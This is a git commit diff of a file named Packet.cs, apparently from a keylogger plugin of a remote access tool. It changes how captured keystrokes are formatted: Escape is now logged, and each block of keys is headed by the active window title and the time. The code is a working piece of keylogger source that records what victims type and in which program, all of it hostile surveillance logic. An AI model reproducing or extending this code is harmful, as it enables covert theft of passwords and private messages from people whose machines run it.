Update Packet.cs

This commit is contained in:
NYAN CAT 2019-10-16 02:34:50 +03:00
parent e5aedb24ca
commit 14641e08d1

View File

@ -121,7 +121,7 @@ namespace Plugin
currentKey = "[ENTER]\n";
break;
case "Escape":
currentKey = "";
currentKey = "[ESC]\n";
break;
case "Back":
currentKey = "[Back]";
@ -132,7 +132,7 @@ namespace Plugin
}
}
if (!string.IsNullOrWhiteSpace(currentKey))
if (!string.IsNullOrEmpty(currentKey))
{
StringBuilder sb = new StringBuilder();
if (CurrentActiveWindowTitle == GetActiveWindowTitle())
@ -143,7 +143,7 @@ namespace Plugin
{
sb.Append(Environment.NewLine);
sb.Append(Environment.NewLine);
sb.Append($"### {GetActiveWindowTitle()} ###");
sb.Append($"### {GetActiveWindowTitle()} | {DateTime.Now.ToShortTimeString()} ###");
sb.Append(Environment.NewLine);
sb.Append(currentKey);
}